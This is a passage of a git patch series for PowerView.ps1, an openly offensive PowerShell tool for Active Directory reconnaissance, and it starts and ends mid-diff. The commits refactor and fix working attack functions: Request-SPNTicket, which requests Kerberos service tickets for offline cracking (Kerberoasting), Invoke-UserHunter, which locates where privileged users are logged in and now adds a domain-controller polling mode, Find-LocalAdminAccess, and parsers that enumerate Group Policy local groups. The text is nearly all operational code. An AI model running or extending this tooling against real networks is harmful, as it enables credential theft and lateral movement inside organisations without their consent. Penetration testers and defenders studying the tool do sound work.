Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - } + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsGroup) { + if($IsDomain) { + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + try { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member.PSObject.TypeNames.Add('PowerView.LocalUser') + $Member + } + } else { + Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse + } } } } @@ -7934,7 +7932,6 @@ function Get-NetLocalGroup { } } - filter Get-NetShare { <# .SYNOPSIS -- cgit v1.2.3 From 3585c9b4accf1f98cc97548897914fb27b096f16 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 21 Jun 2016 20:31:28 +0100 Subject: Add missing parenthesis --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 4bcbbd1..d669302 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7722,7 +7722,7 @@ function Get-NetLocalGroup { $Offset += $Increment $SidString = "" - $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Result2 -eq 0) { Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" -- cgit v1.2.3 From cd1e10b8fd442f6bd0a5562706e174e4cfd3e65b Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 24 Jun 2016 16:07:26 -0400 Subject: Turned Get-GptTmpl and Get-GroupsXML into filters --- Recon/PowerView.ps1 | 234 +++++++++++++++++++++++++++------------------------- 1 file changed, 121 insertions(+), 113 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d669302..0125ed8 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6015,7 +6015,8 @@ function Get-DFSshare { # ######################################################## -function Get-GptTmpl { + +filter Get-GptTmpl { <# .SYNOPSIS @@ -6046,53 +6047,48 @@ function Get-GptTmpl { $UsePSDrive ) - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GptTmplPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GptTmplPath : $_" - return $Null - } + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" - # so we can cd/dir the new drive - $TargetGptTmplPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGptTmplPath = $GptTmplPath - } - Write-Verbose "GptTmplPath: $GptTmplPath" - } - - process { try { - Write-Verbose "Parsing $TargetGptTmplPath" - $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Verbose "Error parsing $TargetGptTmplPath : $_" + Write-Verbose "Error mounting path $GptTmplPath : $_" + return $Null } + + # so we can cd/dir the new drive + $TargetGptTmplPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGptTmplPath = $GptTmplPath } - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } + Write-Verbose "GptTmplPath: $GptTmplPath" + + try { + Write-Verbose "Parsing $TargetGptTmplPath" + $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue + } + catch { + Write-Verbose "Error parsing $TargetGptTmplPath : $_" + } + + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } -function Get-GroupsXML { +filter Get-GroupsXML { <# .SYNOPSIS @@ -6117,100 +6113,93 @@ function Get-GroupsXML { $UsePSDrive ) - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GroupsXMLPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GroupsXMLPath : $_" - return $Null - } + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" - # so we can cd/dir the new drive - $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } - else { - $TargetGroupsXMLPath = $GroupsXMLPath + catch { + Write-Verbose "Error mounting path $GroupsXMLPath : $_" + return $Null } - } - process { + # so we can cd/dir the new drive + $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGroupsXMLPath = $GroupsXMLPath + } - try { - [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop + try { + [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { - $Groupname = $_.Group.Properties.groupName + $Groupname = $_.Group.Properties.groupName - # extract the localgroup sid for memberof - $GroupSID = $_.Group.Properties.GroupSid - if(-not $LocalSid) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - else { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID - } + # extract the localgroup sid for memberof + $GroupSID = $_.Group.Properties.GroupSid + if(-not $LocalSid) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' } - - # extract out members added to this group - $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if($_.sid) { $_.sid } - else { $_.name } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' } + else { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + } - if ($Members) { + # extract out members added to this group + $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if($_.sid) { $_.sid } + else { $_.name } + } - # extract out any/all filters...I hate you GPP - if($_.Group.filters) { - $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} - } - } - else { - $Filters = $Null + if ($Members) { + + # extract out any/all filters...I hate you GPP + if($_.Group.filters) { + $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } + } + else { + $Filters = $Null + } - if($Members -isnot [System.Array]) { $Members = @($Members) } + if($Members -isnot [System.Array]) { $Members = @($Members) } - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath - $GPOGroup | Add-Member Noteproperty 'Filters' $Filters - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members - $GPOGroup - } + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Filters + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members + $GPOGroup } } - catch { - Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" - } + } + catch { + Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" } - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } @@ -6652,11 +6641,11 @@ function Get-NetGPOGroup { .PARAMETER GPOname - The GPO name to query for, wildcards accepted. + The GPO name (GUID) to query for, wildcards accepted. .PARAMETER DisplayName - The GPO display name to query for, wildcards accepted. + The GPO display name to query for, wildcards accepted. .PARAMETER Domain @@ -6689,6 +6678,25 @@ function Get-NetGPOGroup { Returns all local groups set by GPO along with their members and memberof. + .EXAMPLE + + PS C:\> Get-NetGPOGroup -ResolveMemberSIDs + + Returns all local groups set by GPO along with their members and memberof, + and resolve any members to their domain SIDs. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}' + + Return any GPO-set groups for the GPO with the given name/GUID. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup -DisplayName 'Desktops' + + Return any GPO-set groups for the GPO with the given display name. + .LINK https://morgansimonsenblog.azurewebsites.net/tag/groups/ @@ -6725,7 +6733,7 @@ function Get-NetGPOGroup { $Option = [System.StringSplitOptions]::RemoveEmptyEntries # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { + Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { $GPOdisplayName = $_.displayname $GPOname = $_.name -- cgit v1.2.3 From 3049211f533b006a08ec6bfca74e498b20a03a05 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 24 Jun 2016 16:11:20 -0400 Subject: Fixed Find-LocalAdminAccess to properly check for the object output from Invoke-CheckLocalAdminAccess...whoops --- Recon/PowerView.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0125ed8..5a187e7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8543,7 +8543,7 @@ filter Get-SiteName { .EXAMPLE - PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + PS C:\> Get-NetComputer | Get-SiteName Returns the sites for every machine in AD. #> @@ -9844,7 +9844,7 @@ function Invoke-UserHunter { # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null @@ -9891,7 +9891,7 @@ function Invoke-UserHunter { # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null @@ -11743,7 +11743,7 @@ function Find-LocalAdminAccess { if($Up) { # check if the current user has local admin access to this server $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - if ($Access) { + if ($Access.IsAdmin) { $ComputerName } } -- cgit v1.2.3 From 81ac124f2211799207711fcd1b5fadb0091510f6 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 24 Jun 2016 16:51:16 -0400 Subject: Changed Get-NetGroup and Get-NetGroupMember to search for samaccountname instead of name --- Recon/PowerView.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5a187e7..a636bf1 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5189,7 +5189,7 @@ function Get-NetGroup { $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } else { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" } $Results = $GroupSearcher.FindAll() @@ -5357,7 +5357,7 @@ function Get-NetGroupMember { $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname - $GroupFoundName = $Group.name + $GroupFoundName = $Group.samaccountname if ($GroupDN) { $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" @@ -5372,7 +5372,7 @@ function Get-NetGroupMember { } else { if ($GroupName) { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" } elseif ($SID) { $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" @@ -5408,12 +5408,12 @@ function Get-NetGroupMember { $GroupSearcher.PropertiesToLoad.Clear() [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - [void]$GroupSearcher.PropertiesToLoad.Add("name") + [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname") try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) - $GroupFoundName = $Result.properties.item("name")[0] + $GroupFoundName = $Result.properties.item("samaccountname")[0] if ($Members.count -eq 0) { $Finished = $True @@ -5425,7 +5425,7 @@ function Get-NetGroupMember { } } else { - $GroupFoundName = $Result.properties.item("name")[0] + $GroupFoundName = $Result.properties.item("samaccountname")[0] $Members += $Result.Properties.item($RangedProperty) } } -- cgit v1.2.3 From 5a05a024b675f9483b7e3b2fa37e472400642330 Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Mon, 27 Jun 2016 17:52:28 +0200 Subject: Fix Get-GroupsXML for multiple tags Select all nodes and iterate through them, not just the root node. --- Recon/PowerView.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a636bf1..be6401a 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6141,12 +6141,12 @@ filter Get-GroupsXML { [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { - $Groupname = $_.Group.Properties.groupName + $Groupname = $_.Properties.groupName # extract the localgroup sid for memberof - $GroupSID = $_.Group.Properties.GroupSid + $GroupSID = $_.Properties.groupSid if(-not $LocalSid) { if($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' @@ -6163,7 +6163,7 @@ filter Get-GroupsXML { } # extract out members added to this group - $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { if($_.sid) { $_.sid } else { $_.name } } @@ -6171,8 +6171,8 @@ filter Get-GroupsXML { if ($Members) { # extract out any/all filters...I hate you GPP - if($_.Group.filters) { - $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { + if($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } -- cgit v1.2.3 From 325cc849d7fae993b5c7309e08c59c4b11c7da8e Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Mon, 27 Jun 2016 17:53:59 +0200 Subject: Use correct variable --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index be6401a..a54cc6d 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6147,7 +6147,7 @@ filter Get-GroupsXML { # extract the localgroup sid for memberof $GroupSID = $_.Properties.groupSid - if(-not $LocalSid) { + if(-not $GroupSID) { if($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } -- cgit v1.2.3 From b74e51519825318bf13278d389398b310e95d82c Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 15 Jul 2016 17:33:04 -0400 Subject: Fix for issue #167 --- Recon/PowerView.ps1 | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a54cc6d..903583c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1354,8 +1354,10 @@ function Request-SPNTicket { } process { - Write-Verbose "Requesting ticket for: $SPN" - New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN + ForEach($UserSPN in $SPN) { + Write-Verbose "Requesting ticket for: $SPN" + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } } } -- cgit v1.2.3 From 038adce56ebe3a2daf81962517123d9969463cea Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 15 Jul 2016 17:34:23 -0400 Subject: type --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 903583c..27f87c7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1355,7 +1355,7 @@ function Request-SPNTicket { process { ForEach($UserSPN in $SPN) { - Write-Verbose "Requesting ticket for: $SPN" + Write-Verbose "Requesting ticket for: $UserSPN" New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN } } -- cgit v1.2.3 From fda456338f75c7adb0a26df72de53d78b1ccb6da Mon Sep 17 00:00:00 2001 From: Jon Cave Date: Sat, 13 Aug 2016 12:00:44 +0100 Subject: Add a polling mode to Invoke-UserHunter Repeatedly poll a set of target computers for user sessions. This could be a useful technique for building a much better picture of current sessions, but without having to communicate with every host. The -Poll parameter is used to specify the duration for which polling should occur. Each target computer is dedicated with a thread with -Delay and -Jitter specifying how long to sleep between each session enumeration attempt of an individual host. --- Recon/PowerView.ps1 | 190 ++++++++++++++++++++++++++++++---------------------- 1 file changed, 111 insertions(+), 79 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 27f87c7..c1828c8 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9480,6 +9480,11 @@ function Invoke-UserHunter { The maximum concurrent threads to execute. + .PARAMETER Poll + + Continuously poll for sessions for the given duration. Automatically + sets Threads to the number of computers being polled. + .EXAMPLE PS C:\> Invoke-UserHunter -CheckAccess @@ -9534,6 +9539,13 @@ function Invoke-UserHunter { Executes old Invoke-StealthUserHunter functionality, enumerating commonly used servers and checking just sessions for each. + .EXAMPLE + + PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') } + + Poll Domain Controllers in parallel for sessions for an hour, waiting five + seconds before querying each DC again and filtering out computer accounts. + .LINK http://blog.harmj0y.net #> @@ -9623,7 +9635,10 @@ function Invoke-UserHunter { [Int] [ValidateRange(1,100)] - $Threads + $Threads, + + [UInt32] + $Poll = 0 ) begin { @@ -9632,9 +9647,6 @@ function Invoke-UserHunter { $DebugPreference = 'Continue' } - # random object for delay - $RandNo = New-Object System.Random - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" ##################################################### @@ -9705,6 +9717,14 @@ function Invoke-UserHunter { } } + if ($Poll -gt 0) { + Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode." + if ($ComputerName.Count -gt 100) { + throw "Too many hosts to poll! Try fewer than 100." + } + $Threads = $ComputerName.Count + } + ##################################################### # # Now we build the user target set @@ -9802,7 +9822,7 @@ function Invoke-UserHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) + param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter) # optionally check if the server is up first $Up = $True @@ -9810,89 +9830,46 @@ function Invoke-UserHunter { $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } if($Up) { - if(!$DomainShortName) { - # if we're not searching for foreign users, check session information - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname - - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } - - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { - - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName - - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName - } - catch { - $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null - } - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser + $Timer = [System.Diagnostics.Stopwatch]::StartNew() + $RandNo = New-Object System.Random + + Do { + if(!$DomainShortName) { + # if we're not searching for foreign users, check session information + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") } - } - } - } - if(!$Stealth) { - # if we're not 'stealthy', enumerate loggedon users as well - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName - ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - # TODO: translate domain to authoratative name - # then match domain name ? - $UserDomain = $User.wkui1_logon_domain - # make sure wet have a result - if (($UserName) -and ($UserName.trim() -ne '')) { + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - $Proceed = $True - if($DomainShortName) { - if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { - $Proceed = $True - } - else { - $Proceed = $False - } - } - if($Proceed) { $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null + } # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { @@ -9904,10 +9881,61 @@ function Invoke-UserHunter { } } } - } + if(!$Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + # TODO: translate domain to authoratative name + # then match domain name ? + $UserDomain = $User.wkui1_logon_domain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $Proceed = $True + if($DomainShortName) { + if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { + $Proceed = $True + } + else { + $Proceed = $False + } + } + if($Proceed) { + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress + $FoundUser | Add-Member 